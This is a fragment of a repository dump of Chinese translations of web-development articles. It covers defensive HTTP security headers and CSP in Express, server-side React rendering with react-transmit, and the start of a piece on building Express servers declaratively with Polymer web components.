HTTPS 网站，浏览器就会确保将来再次访问次网站时不允许使用 HTTP 进行通信。此功能有助于防范中间人攻击。\n\n有时，当你使用公共 WiFi 时尝试访问 https://google.com 之类的门户网页时就能看到此功能运作。WiFi 尝试将你重定向到他们的门户网站去，但你曾经通过 HTTPS 访问过 `google.com`，且它带有 `Strict-Transport-Security` 的 header，因此浏览器将阻止重定向。\n\n你可以访问 [MDN](https://developer.mozilla.org/zh-CN/docs/Security/HTTP_Strict_Transport_Security) 或者 [OWASP wiki](https://www.owasp.org/index.php/HTTP_Strict_Transport_Security_Cheat_Sheet) 查看更多相关信息。\n\n#### X-Download-Options\n\n这个 header 仅用于保护你的应用免受老版 IE 漏洞的困扰。一般来说，如果你部署了不能被信任的 HTTP 文件用于下载，用户可以直接打开这些文件（而不需要先保存到硬盘去）并且可以直接在你 app 的上下文中执行。这个 header 可以确保用户在访问这种文件前必须将其下载到本地，这样就能防止这些文件在你 app 的上下文中执行了。\n\n你可以访问 [helmet 文档](https://helmetjs.github.io/docs/ienoopen/)和 [MSDN 博文](https://blogs.msdn.microsoft.com/ie/2008/07/02/ie8-security-part-v-comprehensive-protection/)查看更多相关信息。\n\n#### X-Content-Type-Options\n\n一些浏览器不使用服务器发送的 `Content-Type` 来判断文件类型，而使用“MIME 嗅探”，根据文件内容来判断内容类型并基于此执行文件。\n\n假设你在网页中提供了一个上传图片的途径，但攻击者上传了一些内容为 HTML 代码的图片文件，如果浏览器使用 MIME 嗅探则会将其作为 HTML 代码执行，攻击者就能执行成功的 XSS 攻击了。\n\n通过设置 header 为 `nosniff` 可以禁用这种 MIME 嗅探。\n\n#### X-XSS-Protection\n\n此 header 能在用户浏览器中开启基本的 XSS 防御。它不能避免一切 XSS 攻击，但它可以防范基本的 XSS。例如，如果浏览器检测到查询字符串中包含类似 `<script>` 标签之类的内容，则会阻止这种疑似 XSS 攻击代码的执行。这个 header 可以设置三种不同的值：`0`、`1` 和 `1; mode=block`。如果你想了解更多关于如何选择模式的知识，请查看 [`X-XSS-Protection` 及其潜在危害](https://blog.innerht.ml/the-misunderstood-x-xss-protection/) 一文。\n\n#### 升级你的 helmet\n\n以上只是 [`helmet`](https://helmetjs.github.io/docs/) 提供的默认设置。除此之外，它还可以让你设置 [`Expect-CT`](https://helmetjs.github.io/docs/expect-ct/)、[`Public-Key-Pins`](https://helmetjs.github.io/docs/hpkp/)、[`Cache-Control`](https://helmetjs.github.io/docs/nocache/) 和 [`Referrer-Policy`](https://helmetjs.github.io/docs/referrer-policy/) 之类的 header。你可以在 [`helmet` 文档](https://helmetjs.github.io/docs/) 中查找更多相关配置。\n\n### 保护你的网页免受非预期内容的侵害\n\n![giphy.gif](https://www.twilio.com/blog/wp-content/uploads/2017/11/CiDkwYBIJX1JQmhyaq8kYH0dkEpphioLjjva6KUWc5pS4KuSyX94eKxSfohWC_v574aYYn6Z2c6ALeyw0hizq7f66Po8ibiV1d_naYdPaoO1B8C72mQ4pLZij6ytKGH0v5WsQSPB.png)\n\n跨站脚本执行对于 web 应用来说是无法根绝的威胁。如果攻击者可以在你的应用中注入并运行代码，其后果对于你和你的用户来说可能是一场噩梦。有一种能试图阻止在你网页中运行非预期代码的方案：`CSP`（内容安全策略）。\n\nCSP 允许你设定一组规则，以定义你的页面能够加载资源的来源。任何违反规则的资源都会被浏览器自动阻止。\n\n你可以通过修改 `Content-Security-Policy` HTTP header 来指定规则，或者你不能改 header 时也可以使用 meta 标签来设定。\n\n这个 header 类似于这样：\n\n```\nContent-Security-Policy: default-src 'none';\n    script-src 'nonce-XQY ZwBUm/WV9iQ3PwARLw==';\n    style-src 'nonce-XQY ZwBUm/WV9iQ3PwARLw==';\n    img-src 'self';\n    font-src 'nonce-XQY ZwBUm/WV9iQ3PwARLw==' fonts.gstatic.com;\n    object-src 'none';\n    block-all-mixed-content;\n    frame-ancestors 'none';\n```\n\n在这个例子中，你可以看到我们只允许从自己的域名或者 Google Fonts 的 fonts.gstatic.com 来获取字体；只允许加载本域名下的图片；只允许加载不指定来源，但必须包含指定 `nonce` 值的脚本及样式文件。这个 nonce 值需要用下面这样的方式指定：\n\n```\n<script src=\"myscript.js\" nonce=\"XQY ZwBUm/WV9iQ3PwARLw==\"></script>\n<link rel=\"stylesheet\" href=\"mystyles.css\" nonce=\"XQY ZwBUm/WV9iQ3PwARLw==\" />\n```\n\n当浏览器收到 HTML 时，为了安全起见它会清除所有的 nonce 值，其它的脚本无法得到这个值，也就无法添加进网页中了。\n\n你还可以禁止所有在 HTTPS 页面中包含的 HTTP 混合内容和所有 `<object />` 元素，以及通过设置 `default-src` 为 `none` 来禁用一切不为图片、样式表以及脚本的内容。此外，你还可以通过 `frame-ancestors` 来禁用 iframe。\n\n你可以自己手动去编写这些 header，不过走运的是 Express 中已经有了许多现成的 CSP 解决方案。[`helmet` 支持 CSP](https://helmetjs.github.io/docs/csp/)，但 `nonce` 需要你自己去生成。我个人为此使用了一个名为 `express-csp-header` 的模块。\n\n安装及运行 `express-csp-header`：\n\n```\nnpm install express-csp-header --save\n```\n\n为你的 `index.js` 添加并修改以下内容，启用 CSP：\n\n```\nconst express = require('express');\nconst helmet = require('helmet');\nconst csp = require('express-csp-header');\n\nconst PORT = process.env.PORT || 3000;\nconst app = express();\n\nconst cspMiddleware = csp({\n  policies: {\n    'default-src': [csp.NONE],\n    'script-src': [csp.NONCE],\n    'style-src': [csp.NONCE],\n    'img-src': [csp.SELF],\n    'font-src': [csp.NONCE, 'fonts.gstatic.com'],\n    'object-src': [csp.NONE],\n    'block-all-mixed-content': true,\n    'frame-ancestors': [csp.NONE]\n  }\n});\n\napp.use(helmet());\napp.use(cspMiddleware);\n\napp.get('/', (req, res) => {\n  res.send(`\n    <h1>Hello World</h1>\n    <style nonce=${req.nonce}>\n      .blue { background: cornflowerblue; color: white; }\n    </style>\n    <p class=\"blue\">This should have a blue background because of the loaded styles</p>\n    <style>\n      .red { background: maroon; color: white; }\n    </style>\n    <p class=\"red\">This should not have a red background, the styles are not loaded because of the missing nonce.</p>\n  `);\n});\n\napp.listen(PORT, () => {\n  console.log(`Listening on http://localhost:${PORT}`);\n});\n```\n\n重启服务，访问 [http://localhost:3000](http://localhost:3000)，可以看到一个带有蓝色背景的段落，因为相关的样式成功被加载了。而另一个段落没有样式，因为其样式缺少了 nonce 值。\n\n![csp-output.png](https://www.twilio.com/blog/wp-content/uploads/2017/11/OYQ_GhVogC6bcGAZOtqKO9DL4l4KhV8YatnWhJP9sjliXdN7beuXhTbPLwyvCQmqyxmy-z5FN4_mDySsRorhjOxarh2p1EAWKusxZ4qSIsI0CAq_1p_BlrhFiCoG6mPa4iZhR2WO.png)\n\nCSP header 还可以设定报告违规的 URL，你还可以在严格启用 CSP 之前仅开启报告模式，收集相关数据。\n\n你可以在 [MDN CSP 介绍](https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Headers/Content-Security-Policy__by_cnvoid)查看更多信息，并浏览 [“Can I Use” 网站查看 CSP 兼容性](http://caniuse.com/#feat=contentsecuritypolicy)。大多数主流浏览器都支持这项特性。\n\n### 总结\n\n![giphy.gif](https://www.twilio.com/blog/wp-content/uploads/2017/11/JtIZ-AdTwknGCyMvERM7uj2ttVknsuo6KgKDzKGlOS-TWUu3GVTEtqu-TxByxxaptnsZsvoXPll__9_5ScxtUnoTDqPzuPuGcGSuYNDKHljkTF6XP8xUYWuqtCuqScWryS3me3M5.png)\n\n可惜的是，在安全性方面不存在所谓的万能方案，新的漏洞层出不穷。但是，你可以很轻松地在你的 web 应用中设置这些 HTTP header，显著地提升你应用的安全性，何乐而不为呢？如果你想了解更多有关 HTTP header 提高安全性的最佳实践，请浏览 [securityheaders.io](https://securityheaders.io/)。\n\n如果你想了解更多 web 安全方面的最佳实践，请访问 [Open Web Applications Security Project（OWASP）](https://www.owasp.org/index.php/Main_Page)，它涵盖了广泛的主题及有用的资源。\n\n如果你有任何问题，或有其它用于提升 Node.js web 应用的工具，请随时联系我：\n\n*   Twitter：[@dkundel](https://twitter.com/dkundel)\n*   Email：[dkundel@twilio.com](mailto:dkundel@twilio.com)\n*   GitHub：[dkundel](https://github.com/dkundel)\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n\n\n"
  },
  {
    "path": "TODO/server-side-react-rendering.md",
    "content": "> * 原文地址：[Server-Side React Rendering](https://css-tricks.com/server-side-react-rendering/)\n> * 原文作者：[Roger Jin](https://css-tricks.com/author/rogerjin/)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/server-side-react-rendering.md](https://github.com/xitu/gold-miner/blob/master/TODO/server-side-react-rendering.md)\n> * 译者：[牧云云](https://github.com/MuYunyun)\n> * 校对者：[CACppuccino](https://github.com/CACppuccino)、[xx1124961758](https://github.com/xx1124961758)\n\n# React 在服务端渲染的实现\n\nReact是最受欢迎的客户端 JavaScript 框架，但你知道吗(或许更应该试试)，你可以使用 React 在服务器端进行渲染？\n\n假设你为客户构建了一个很棒的事件列表 React app。。该应用程序使用了您最喜欢的服务器端工具构建的API。几周后，用户告诉您，他们的页面没有显示在 Google 上，发布到 Facebook 时也显示不出来。 这些问题似乎是可以解决的，对吧？\n\n您会发现，要解决这个问题，需要在初始加载时从服务器渲染 React 页面，以便来自搜索引擎和社交媒体网站的爬虫工具可以读取您的标记。有证据表明，Google 有时会执行 javascript 程序并且对生成的内容进行索引，但并不总是这样。因此，如果您希望确保与其他服​​务（如 Facebook、Twitter）有良好的 SEO 兼容性，那么始终建议使用服务器端渲染。\n\n在本教程中，我们将逐步介绍服务器端的呈现示例。包括围绕与 API 交流的 React 应用程序的共同路障。\n在本教程中，我们将逐步向您介绍服务器端的渲染示例。包括围绕着 APIS 交流一些在服务端渲染 React 应用程序的共同障碍。\n\n# 服务端渲染的优势\n\n可能您的团队谈论到服务端渲染的好处是首先会想到 SEO，但这并不是唯一的潜在好处。\n\n更大的好处如下：服务器端渲染能更快地显示页面。使用服务器端渲染，您的服务器对浏览器进行响应是在您的 HTML 页面可以渲染的时候，因此浏览器可以不用等待所有的 JavaScript 被下载和执行就可以开始渲染。当浏览器下载并执行页面所需的 JavaScript 和其他资源时，不会出现 “白屏” 现象，而 “白屏” 却可能在完全由客户端渲染的 React 网站中出现。\n\n# 入门\n\n接下来让我们来看看如何将服务器端渲染添加到一个基本的客户端渲染的使用 Babel 和 Webpack 的 React 应用程序中。我们的应用程序将会因从第三方 API 获取数据而变得有点复杂。我们在 GitHub 上提供了[相关代码](https://github.com/ButterCMS/react-ssr-example/releases/tag/starter-code)，您可以在其中看到完整的示例。\n\n提供的代码中只有一个 React 组件，\\`hello.js\\`，这个文件将向 [ButterCMS API](https://buttercms.com/) 发出异步请求，并渲染返回 JSON 列表中的博文。ButterCMS 是一个基于 API 的博客引擎，可供个人使用，因此它非常适合测试现实生活中的用例。启动代码中连接着一个 API token，如果你想使用你自己的 API token 可以[使用你的 GitHub 账号登入 ButterCMS](https://buttercms.com/home/)。\n\n``` js\nimport React from 'react';\nimport Butter from 'buttercms'\n\nconst butter = Butter('b60a008584313ed21803780bc9208557b3b49fbb');\n\nvar Hello = React.createClass({\n  getInitialState: function() {\n    return {loaded: false};\n  },\n  componentWillMount: function() {\n    butter.post.list().then((resp) => {\n      this.setState({\n        loaded: true,\n        resp: resp.data\n      })\n    });\n  },\n  render: function() {\n    if (this.state.loaded) {\n      return (\n        <div>\n          {this.state.resp.data.map((post) => {\n            return (\n              <div key={post.slug}>{post.title}</div>\n            )\n          })}\n        </div>\n      );\n    } else {\n      return <div>Loading...</div>;\n    }\n  }\n});\n\nexport default Hello;\n```\n\n启动器代码中包含以下内容：\n- package.json - 依赖项\n- Webpack 和 Babel 配置\n- index.html - app 的 HTML 文件\n- index.js - 加载 React 并渲染 Hello 组件\n\n要使应用运行，请先克隆资源库：\n\n```\ngit clone ...\ncd ..\n```\n\n安装依赖:\n\n```\nnpm install\n```\n\n然后启动服务器:\n\n```\nnpm run start\n```\n\n浏览器输入 http://localhost:8000 可以看到这个 app: (这里译者进行补充，package.json 里的 start 命令改为如下：`\"start\": webpack-dev-server --watch`)\n\n![](https://res.cloudinary.com/css-tricks/image/upload/c_scale,w_1000,f_auto,q_auto/v1497358286/localhost_r84tot.png)\n\n如果您查看渲染页面的源代码，您将看到发送到浏览器的标记只是一个到 JavaScript 文件的链接。这意味着页面的内容不能保证被搜索引擎和社交媒体平台抓取:\n\n![](https://res.cloudinary.com/css-tricks/image/upload/c_scale,w_1000,f_auto,q_auto/v1497358332/some-html_mrmpfj.png)\n\n# 增加服务器端渲染\n\n接下来，我们将实现服务器端渲染，以便将完全生成的 HTML 发送到浏览器。如果要同时查看所有更改，请在 [GitHub](https://github.com/ButterCMS/react-ssr-example/commit/525c625b0f65489050983ed03b52bb7770ce6b7a) 上查看文件的差异。\n\n开始前，让我们安装 Express，一个 Node.js 的服务器端应用程序框架：\n\n```\nnpm install express --save\n```\n\n我们要创建一个渲染我们的 React 组件的服务器：\n\n``` js\nimport express from 'express';\nimport fs from 'fs';\nimport path from 'path';\nimport React from 'react';\nimport ReactDOMServer from 'react-dom/server';\nimport Hello from './Hello.js';\n\nfunction handleRender(req, res) {\n  // 把 Hello 组件渲染成 HTML 字符串\n  const html = ReactDOMServer.renderToString(<Hello />);\n\n  // 加载 index.html 的内容\n  fs.readFile('./index.html', 'utf8', function (err, data) {\n    if (err) throw err;\n\n    // 把渲染后的 React HTML 插入到 div 中\n    const document = data.replace(/<div id=\"app\"><\\/div>/, `<div id=\"app\">${html}</div>`);\n\n    // 把响应传回给客户端\n    res.send(document);\n  });\n}\n\nconst app = express();\n\n// 服务器使用 static 中间件构建 build 路径\napp.use('/build', express.static(path.join(__dirname, 'build')));\n\n// 使用我们的 handleRender 中间件处理服务端请求\napp.get('*', handleRender);\n\n// 启动服务器\napp.listen(3000);\n```\n\n让我们分解下程序看看发生了什么事情...\n\n`handleRender` 函数处理所有请求。在文件顶部导入的 [ReactDOMServer 类](https://facebook.github.io/react/docs/react-dom-server.html)提供了将 React 节点渲染成其初始 HTML 的 renderToString() 方法\n``` js\nReactDOMServer.renderToString(<Hello />);\n```\n\n这将返回 Hello 组件的 HTML，我们将其注入到 index.html 的 HTML 中，从而生成服务器上页面的完整 HTML。\n\n``` js\nconst document = data.replace(/<div id=\"app\"><\\/div>/,`<div id=\"app\">${html}</div>`);\n```\n\n要启动服务器，请更新 \\`package.json\\` 中的起始脚本，然后运行 `npm run start` :\n\n```\n\"scripts\": {\n  \"start\": \"webpack && babel-node server.js\"\n},\n```\n\n浏览 `http://localhost:3000` 查看应用程序。瞧！您的页面现在正在从服务器渲染出来了。但是有个问题，\n如果您在浏览器中查看页面源码，您会注意到博客文章仍未包含在响应中。这是怎么回事？如果我们在 Chrome 中打开网络面板，我们会看到客户端上发生 API 请求。\n\n![](https://res.cloudinary.com/css-tricks/image/upload/c_scale,w_1000,f_auto,q_auto/v1497358447/devtools_qx5y1o.png)\n\n虽然我们在服务器上渲染了 React 组件，但是 API 请求在 componentWillMount 中异步生成，并且组件在请求完成之前渲染。所以即使我们已经在服务器上完成渲染，但我们只是完成了部分。事实上，[React repo 有一个 issue](https://github.com/facebook/react/issues/1739)，超过 100 条评论讨论了这个问题和各种解决方法。\n\n# 在渲染之前获取数据\n\n要解决这个问题，我们需要在渲染 Hello 组件之前确保 API 请求完成。这意味着要使 API 请求跳出 React 的组件渲染循环，并在渲染组件之前获取数据。我们将逐步介绍这一步，但您可以在 [GitHub 上查看完整的差异](https://github.com/ButterCMS/react-ssr-example/commit/5fdd453e31ab08dfdc8b44261696d4ed89fbb719)。\n\n要在渲染之前获取数据，我们需安装 [react-transmit](https://github.com/RickWong/react-transmit)：\n\n```\nnpm install react-transmit --save\n```\n\nReact Transmit 给了我们优雅的包装器组件（通常称为“高阶组件”），用于获取在客户端和服务器上工作的数据。\n\n这是我们使用 react-transmit 后的组件的代码：\n\n``` js\nimport React from 'react';\nimport Butter from 'buttercms'\nimport Transmit from 'react-transmit';\n\nconst butter = Butter('b60a008584313ed21803780bc9208557b3b49fbb');\n\nvar Hello = React.createClass({\n  render: function() {\n    if (this.props.posts) {\n      return (\n        <div>\n          {this.props.posts.data.map((post) => {\n            return (\n              <div key={post.slug}>{post.title}</div>\n            )\n          })}\n        </div>\n      );\n    } else {\n      return <div>Loading...</div>;\n    }\n  }\n});\n\nexport default Transmit.createContainer(Hello, {\n  // 必须设定 initiallVariables 和 ftagments ,否则渲染时会报错\n  initialVariables: {},\n  // 定义的方法名将成为 Transmit props 的名称\n  fragments: {\n    posts() {\n      return butter.post.list().then((resp) => resp.data);\n    }\n  }\n});\n```\n\n我们已经使用 `Transmit.createContainer` 将我们的组件包装在一个高级组件中，该组件可以用来获取数据。我们在 React 组件中删除了生命周期方法，因为无需两次获取数据。同时我们把 render 方法中的 state 替换成 props，因为 React Transmit 将数据作为 props 传递给组件。\n\n为了确保服务器在渲染之前获取数据，我们导入 Transmit 并使用 `Transmit.renderToString` 而不是 `ReactDOM.renderToString` 方法\n\n``` js\nimport express from 'express';\nimport fs from 'fs';\nimport path from 'path';\nimport React from 'react';\nimport ReactDOMServer from 'react-dom/server';\nimport Hello from './Hello.js';\nimport Transmit from 'react-transmit';\n\nfunction handleRender(req, res) {\n  Transmit.renderToString(Hello).then(({reactString, reactData}) => {\n    fs.readFile('./index.html', 'utf8', function (err, data) {\n      if (err) throw err;\n\n      const document = data.replace(/<div id=\"app\"><\\/div>/, `<div id=\"app\">${reactString}</div>`);\n      const output = Transmit.injectIntoMarkup(document, reactData, ['/build/client.js']);\n\n      res.send(document);\n    });\n  });\n}\n\nconst app = express();\n\n// 服务器使用 static 中间件构建 build 路径\napp.use('/build', express.static(path.join(__dirname, 'build')));\n\n// 使用我们的 handleRender 中间件处理服务端请求\napp.get('*', handleRender);\n\n// 启动服务器\napp.listen(3000);\n```\n\n重新启动服务器浏览到 `http://localhost：3000`。查看页面源代码，您将看到该页面现在完全呈现在服务器上！\n\n![](https://res.cloudinary.com/css-tricks/image/upload/c_scale,w_1000,f_auto,q_auto/v1497358548/rendered-react_t5neam.png)\n\n# 更进一步\n\n我们做到了！在服务器上使用 React 可能很棘手，尤其是从 API 获取数据时。幸运的是，React 社区正在蓬勃发展，并创造了许多有用的工具。如果您对构建在客户端和服务器上渲染的大型 React 应用程序的框架感兴趣，请查看 Walmart Labs 的 [Electrode](https://github.com/electrode-io/electrode) 或 [Next.js](https://github.com/zeit/next.js)。或者如果要在 Ruby 中渲染 React ，请查看 Airbnb 的 [Hypernova](https://github.com/airbnb/hypernova) 。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。\n\n"
  },
  {
    "path": "TODO/server-side-web-components-how-and-why.md",
    "content": "> * 原文链接: [Server-side Web Components: How and Why?](https://scotch.io/tutorials/server-side-web-components-how-and-why)\n* 原文作者: [Jordan Last](https://pub.scotch.io/@lastmjs)\n* 译文出自: [掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者: [达仔](https://github.com/zhangjd)\n* 校对者: [Shangbin Yang](https://github.com/rccoder), [Gran](https://github.com/Graning)\n\n# 为什么我们要用网页端组件去构建服务器？该怎么做\n\nWeb components（网页组件）用在服务器端渲染早已被大家所了解，在本文中，我想谈及的是：你还可以用 web components 构建服务器端应用。\n\n先来回顾一下，web components 是一组 [新提出的标准](https://github.com/w3c/webcomponents)，提供了模块化打包 UI 组件的能力，这些组件具有可重用、声明式的特点，因此具有方便分享、容易组合到应用的优势。现在 web components 已经开始应用到前端开发当中了，但服务器端呢？[Polymer 项目](https://elements.polymer-project.org) 给了我们启发，web components 不仅对于 UI 组件很有用，而且还可以用在原始功能中。接下来我们会看看 web components 如何应用到服务器端，并分析其优势。\n\n* 声明式\n* 模块化\n* 通用化\n* 可共享\n* 可调试\n* 更平缓的学习曲线\n* 客户端结构\n\n## 声明式\n\n首先，web components 让你得到了声明式的服务器。以下是一个使用 [Express Web Components](https://github.com/scramjs/express-web-components) 编写 Express.js 应用程序的简单示例：\n\n```\n<link rel=\"import\" href=\"bower_components/polymer/polymer.html\">\n<link rel=\"import\" href=\"bower_components/express-web-components/express-app.html\">\n<link rel=\"import\" href=\"bower_components/express-web-components/express-middleware.html\">\n<link rel=\"import\" href=\"bower_components/express-web-components/express-router.html\">\n\n<dom-module id=\"example-app\">\n    <template>\n        <express-app port=\"5000\">\n            <express-middleware method=\"get\" path=\"/\" callback=\"[[indexHandler]]\"></express-middleware>\n            <express-middleware callback=\"[[notFound]]\"></express-middleware>\n        </express-app>\n    </template>\n\n    <script>\n        class ExampleAppComponent {\n            beforeRegister() {\n                this.is = 'example-app';\n            }\n\n            ready() {\n                this.indexHandler = (req, res) => {\n                    res.send('Hello World!');\n                };\n\n                this.notFound = (req, res) => {\n                    res.status(404);\n                    res.send('not found');\n                };\n            }\n        }\n\n        Polymer(ExampleAppComponent);\n    </script>\n</dom-module>\n```\n\n现在你可以使用 HTML 语法来声明路由了。比起纯 JavaScript 语法，现在的路由可以体现出视觉层次感，看起来更加形象和易于理解。拿上面的例子来说，所有和 Express 框架有关的 endpoints(路由) / middleware(中间件) 都嵌套在 `<express-app>` 元素，连接 app 的中间件按顺序放在 `<express-middleware>` 元素中。而路由也可以很容易地嵌套，`<express-router>` 中包含的每个中间件都会连接到 router，你还可以把 `<express-route>` 放在 `<express-router>` 元素中。\n\n## 模块化\n\n使用 Express 和 Node.js 已经让我们实现了模块化，但我觉得模块化 web components 更加简单。以下 [这个例子](https://github.com/scramjs/node-api) 把模块化的自定义元素和 Express Web Components 结合起来使用：\n\n```\n<!--index.html-->\n\n<!DOCTYPE html>\n\n<html>\n    <head>\n        <script src=\"../../node_modules/scram-engine/filesystem-config.js\"></script>\n        <link rel=\"import\" href=\"components/app/app.component.html\">\n    </head>\n\n    <body>\n        <na-app></na-app>\n    </body>\n\n</html>\n```\n\n`index.html` 是入口文件，实际上我们需要关心的地方只有一个，就是 `<na-app></na-app>` ：\n\n```\n<!--components/app/app.component.html-->\n\n<link rel=\"import\" href=\"../../../../bower_components/polymer/polymer.html\">\n<link rel=\"import\" href=\"../../../../bower_components/express-web-components/express-app.html\">\n<link rel=\"import\" href=\"../../../../bower_components/express-web-components/express-middleware.html\">\n<link rel=\"import\" href=\"../api/api.component.html\">\n\n<dom-module id=\"na-app\">\n    <template>\n        <express-app port=\"[[port]]\" callback=\"[[appListen]]\">\n            <express-middleware callback=\"[[morganMW]]\"></express-middleware>\n            <express-middleware callback=\"[[bodyParserURLMW]]\"></express-middleware>\n            <express-middleware callback=\"[[bodyParserJSONMW]]\"></express-middleware>\n            <na-api></na-api>\n        </express-app>\n    </template>\n\n    <script>\n        class AppComponent {\n            beforeRegister() {\n                this.is = 'na-app';\n            }\n\n            ready() {\n                const bodyParser = require('body-parser');\n                const morgan = require('morgan');\n\n                this.morganMW = morgan('dev'); // 把请求记录在控制台\n\n                // 配置 body parser\n                this.bodyParserURLMW = bodyParser.urlencoded({ extended: true });\n                this.bodyParserJSONMW = bodyParser.json();\n\n                this.port = process.env.PORT || 8080; // 设置端口\n\n                const mongoose = require('mongoose');\n                mongoose.connect('mongodb://@localhost:27017/test'); // 连接数据库\n\n                this.appListen = () => {\n                    console.log(`Magic happens on port ${this.port}`);\n                };\n            }\n        }\n\n        Polymer(AppComponent);\n    </script>\n</dom-module>\n```\n\n我们启动 Express 应用，监听 port `8080` 或者 `process.env.PORT` 端口，然后定义了三个中间件和一个自定义元素。希望你直觉上就能理解那三个中间件会在`<na-api></na-api>` 之前运行的工作原理：\n\n```\n<!--components/api/api.component.html-->\n\n<link rel=\"import\" href=\"../../../../bower_components/polymer/polymer.html\">\n<link rel=\"import\" href=\"../../../../bower_components/express-web-components/express-middleware.html\">\n<link rel=\"import\" href=\"../../../../bower_components/express-web-components/express-router.html\">\n<link rel=\"import\" href=\"../bears/bears.component.html\">\n<link rel=\"import\" href=\"../bears-id/bears-id.component.html\">\n\n<dom-module id=\"na-api\">\n    <template>\n        <express-router path=\"/api\">\n            <express-middleware callback=\"[[allMW]]\"></express-middleware>\n            <express-middleware method=\"get\" path=\"/\" callback=\"[[indexHandler]]\"></express-middleware>\n            <na-bears></na-bears>\n            <na-bears-id></na-bears-id>\n        </express-router>\n    </template>\n\n    <script>\n        class APIComponent {\n            beforeRegister() {\n                this.is = 'na-api';\n            }\n\n            ready() {\n                // 这个中间件应用在 /api 前缀开头的所有请求\n                this.allMW = (req, res, next) => {\n                    // 输出日志\n                    console.log('Something is happening.');\n                    next();\n                };\n\n                // 测试路由，目的是确保功能正常 (通过 GET http://localhost:8080/api 访问)\n                this.indexHandler = (req, res) => {\n                    res.json({ message: 'hooray! welcome to our api!' });\n                };\n            }\n        }\n\n        Polymer(APIComponent);\n    </script>\n</dom-module>\n```\n\n所有 `<na-api></na-api>` 的内容都包裹在 `<express-router></express-router>` 当中。组件里的所有中间件都在访问 `/api` 时生效。接下来再看看 `<na-bears></na-bears>` 和 `<na-bears-id></na-bears-id>`：\n\n```\n<!--components/bears/bears.component.html-->\n\n<link rel=\"import\" href=\"../../../../bower_components/polymer/polymer.html\">\n<link rel=\"import\" href=\"../../../../bower_components/express-web-components/express-middleware.html\">\n<link rel=\"import\" href=\"../../../../bower_components/express-web-components/express-route.html\">\n\n<dom-module id=\"na-bears\">\n    <template>\n        <express-route path=\"/bears\">\n            <express-middleware method=\"post\" callback=\"[[createHandler]]\"></express-middleware>\n            <express-middleware method=\"get\" callback=\"[[getAllHandler]]\"></express-middleware>\n        </express-route>\n    </template>\n\n    <script>\n        class BearsComponent {\n            beforeRegister() {\n                this.is = 'na-bears';\n            }\n\n            ready() {\n                var Bear = require('./models/bear');\n\n                // 创建一只熊 (调用 POST http://localhost:8080/bears)\n                this.createHandler = (req, res) => {\n                    var bear = new Bear();      // create a new instance of the Bear model\n                    bear.name = req.body.name;  // set the bears name (comes from the request)\n\n                    bear.save(function(err) {\n                        if (err)\n                            res.send(err);\n                        res.json({ message: 'Bear created!' });\n                    });\n                };\n\n                // 获取所有熊 (调用 GET http://localhost:8080/api/bears)\n                this.getAllHandler = (req, res) => {\n                    Bear.find(function(err, bears) {\n                        if (err)\n                            res.send(err);\n                        res.json(bears);\n                    });\n                };\n            }\n        }\n\n        Polymer(BearsComponent);\n    </script>\n</dom-module>\n```\n\n```\n<!--components/bears-id/bears-id.component.html-->\n\n<link rel=\"import\" href=\"../../../../bower_components/polymer/polymer.html\">\n<link rel=\"import\" href=\"../../../../bower_components/express-web-components/express-middleware.html\">\n<link rel=\"import\" href=\"../../../../bower_components/express-web-components/express-route.html\">\n\n<dom-module id=\"na-bears-id\">\n    <template>\n        <express-route path=\"/bears/:bear_id\">\n            <express-middleware method=\"get\" callback=\"[[getHandler]]\"></express-middleware>\n            <express-middleware method=\"put\" callback=\"[[updateHandler]]\"></express-middleware>\n            <express-middleware method=\"delete\" callback=\"[[deleteHandler]]\"></express-middleware>\n        </express-route>\n    </template>\n\n    <script>\n        class BearsIdComponent {\n            beforeRegister() {\n                this.is = 'na-bears-id';\n            }\n\n            ready() {\n                var Bear = require('./models/bear');\n\n                // 根据 id 获取某只熊\n                this.getHandler = (req, res) => {\n                    console.log(req.params);\n                    Bear.findById(req.params.bear_id, function(err, bear) {\n                        if (err)\n                            res.send(err);\n                        res.json(bear);\n                    });\n                };\n\n                // 根据 id 修改某只熊\n                this.updateHandler = (req, res) => {\n                    Bear.findById(req.params.bear_id, function(err, bear) {\n                        if (err)\n                            res.send(err);\n                        bear.name = req.body.name;\n                        bear.save(function(err) {\n                            if (err)\n                                res.send(err);\n                            res.json({ message: 'Bear updated!' });\n                        });\n                    });\n                };\n\n                // 根据 id 删除某只熊\n                this.deleteHandler = (req, res) => {\n                    Bear.remove({\n                        _id: req.params.bear_id\n                    }, function(err, bear) {\n                        if (err)\n                            res.send(err);\n                        res.json({ message: 'Successfully deleted' });\n                    });\n                };\n            }\n        }\n\n        Polymer(BearsIdComponent);\n    </script>\n</dom-module>\n```\n\n如你所见，所有路由都被分离到各自的组件中，并且要包含在 app 中也很容易。在 `index.html` 文件中的 import 引入方法非常浅显易懂，\n\n## 通用性\n\n我喜欢 JavaScript 的原因之一，就是可以在客户端和服务器端共享代码。虽然现在某种程度上可以说这是可行的，但实际上，由于某些 API 的缺失，依然有一部分客户端的库不能在服务器端工作，反之亦然。从根本上说，Node.js 和浏览器依然是提供不同 API 